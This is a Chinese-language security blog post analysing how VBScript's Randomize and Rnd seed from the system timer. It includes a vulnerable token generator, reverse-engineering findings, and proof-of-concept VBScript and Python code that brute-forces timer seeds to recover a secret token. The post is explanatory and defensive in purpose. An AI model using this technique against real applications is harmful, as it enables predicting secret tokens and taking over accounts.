VBScript随机数内部机制深度解析与安全漏洞利用

本文深入分析了VBScript中Randomize和Rnd函数的内部实现机制,揭示了其在安全关键场景中的严重缺陷。通过逆向工程vbscript.dll库,展示了随机数种子生成的精度的限制和实现差异,并提供了完整的漏洞利用证明概念代码。

VBScript随机数内部机制与安全漏洞

在最近的一篇博客文章中,Dennis分享了关于C#利用的有趣案例研究,展示了如何通过基于Random的密码重置令牌进行攻击。最近,我对一个依赖VBScript的目标进行了安全测试。本篇博客文章重点关注VBS的Rnd函数,并展示该语言中随机数生成的情况更为糟糕。

目标应用

该应用程序负责生成秘密令牌。该令牌本应是不可预测的且保持机密。以下是令牌生成代码的粗略副本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

function GenerateToken(chars, n)
	Dim result, pos, i, charsLength
	charsLength = Int(Len(chars))	
	
	For i = 1 To n
		Randomize
		pos = Int((Rnd * charsLength) + 1)
		result = result & Mid(chars, pos, 1)
	Next
	
	GenerateToken = result	
end function

我首先注意到的是Randomize函数在循环内部被调用。这应该在每次迭代时重新播种PRNG,对吧?这可能导致重复值。然而,与许多其他编程语言相反,在VBScript中,循环内使用Randomize本身并不是问题。如果再次传递相同的种子(即使是隐式传递),该函数不会重置初始状态。

VBS的Randomize实际工作原理

以下是简短的API分解:

1
2
3
Randomize     ' 使用系统时钟为全局PRNG播种
Randomize s   ' 使用指定种子值为全局PRNG播种
r = Rnd()     ' 下一个[0,1)范围内的浮点数

如果没有显式指定种子,Randomize使用Timer来设置种子(不完全正确,稍后会详细说明)。Timer()返回自午夜以来的秒数,作为Single值。Rnd()推进全局PRNG状态,并且对于给定种子是完全确定性的。

但这里存在一些问题。Windows的默认系统时钟周期约为15.625毫秒,即每秒64个周期。换句话说,我们每15.625毫秒才获得一个新的隐式种子值。

由于返回的值是Single类型,与Double类型相比,我们还会损失精度。实际上,多个"种子"会舍入到相同的内部值。考虑内部发生的冲突。因此,可能的唯一序列数量比您想象的要少得多!

实际上最多只有65,536个不同的有效种子(详情如下)。由于Timer()在午夜重置,相同的集合每天都会重复出现。

概念验证

我们首先双重检查我们的策略。我们修改了初始代码以使用命令行提供的种子值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Option Explicit

If WScript.Arguments.Count < 1 Then
	WScript.Echo "VBS_Error: Requires 1 seed argument."
	WScript.Quit(1)
End If

Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest

Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)

function GenerateToken(chars, n, seed)
	Dim result, pos, i, charsLength
	charsLength = Int(Len(chars))	
	
	For i = 1 To n
		Randomize seed
		pos = Int((Rnd * charsLength) + 1)
		result = result & Mid(chars, pos, 1)
	Next
	
	GenerateToken = result	
end function

逆向工程发现

当我们之前说裸Randomize使用Timer()作为种子时,我们并不完全正确。实际上,它只是调用了WinApi的GetLocalTime。它计算秒数加上小数毫秒作为Doubles,然后使用CVTPD2PS汇编指令缩小到Single(浮点数)。

当我们确实指定种子值时,它的处理方式完全不同。它不是使用CVTPD2PS操作码进行转换,而是向右移动32位。

最后,内部PRNG状态的中间两个字节使用这些位的字节交换XOR混合进行更新,而状态的顶部和底部字节被保留。

Python实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
"""
将命令行给出的时间范围转换为它们之间的所有VBS-Timer()值(包括),以**0.015625秒**为步长(1/64秒),
将每个值转换为`Randomize <seed>`期望的特殊Double,将种子馈送到VBS_PATH,解析预测的令牌,并进行测试。

用法
    python brute_timer.py <start_clock> <end_clock>

示例
    python brute_timer.py "12:58:00 PM" "12:58:05 PM"
    python brute_timer.py "17:42:25.50" "17:42:27.00"

接受12小时和24小时制时钟字符串;允许可选的小数秒。
"""

import subprocess
import struct
import sys
import re
from datetime import datetime

VBS_PATH    = r"C:\share\poc.vbs"
TICK       = 1 / 64               # 0.015 625 s (VBS Timer分辨率)
STEP       = TICK

def vbs_timer_value(clock_text: str) -> float:
    """时钟字符串到VBS的Timer()返回的确切Single值。"""
    for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
                "%H:%M:%S", "%H:%M:%S.%f"):
        try:
            t = datetime.strptime(clock_text, fmt).time()
            break
        except ValueError:
            continue
    else:
        raise ValueError("时间格式无法识别: " + clock_text)

    secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
    secs = round(secs / TICK) * TICK          # 捕捉到最近的1/64秒
    
    # 强制Single精度(float32)以匹配VBS尾数
    secs = struct.unpack('<f', struct.pack('<f', secs))[0]
    return secs

def make_manual_seed(timer_value: float) -> float:
    """构建Randomize <seed>接收的Double"""
    single_le = struct.pack('<f', timer_value)   # 4字节小端序
    dbl_le    = b"\x00\x00\x00\x00" + single_le  # 低dword为零,高dword = f32
    return struct.unpack('<d', dbl_le)[0]        # Python浮点数(Double)

攻击实施

现在,我们可以运行基础代码并捕获半精确的当前时间值。我们的Python使用正确格式的字符串,因此我们可以使用简单的方法转换数字:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Dim t, hh, mm, ss, ns
t = Timer()

hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000

WScript.Echo _
    Right("0" & hh, 2) & ":" & _
    Right("0" & mm, 2) & ":" & _
    Right("0" & ss, 2) & "." & _
    Right("000000" & CStr(Int(ns)), 6)

假设令牌在17:55:54.046875精确生成,我们得到了QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7字符串。在我们的目标案例中,我们知道一些文件是在17:55:54创建的,这与令牌生成时间相当接近。

我们在怀疑的时间窗口内以0.015625秒为步长(64 Hz)迭代时间种子,并过滤所有重复项。

我们使用1秒范围启动了brute_timer.py脚本,并在第4次迭代中成功恢复了秘密:

1
2
3
4
5
6
7
PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]

结论

VBScript的RandomizeRnd如果您只想在屏幕上掷骰子是可以的,但千万不要考虑将它们用于机密目的。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计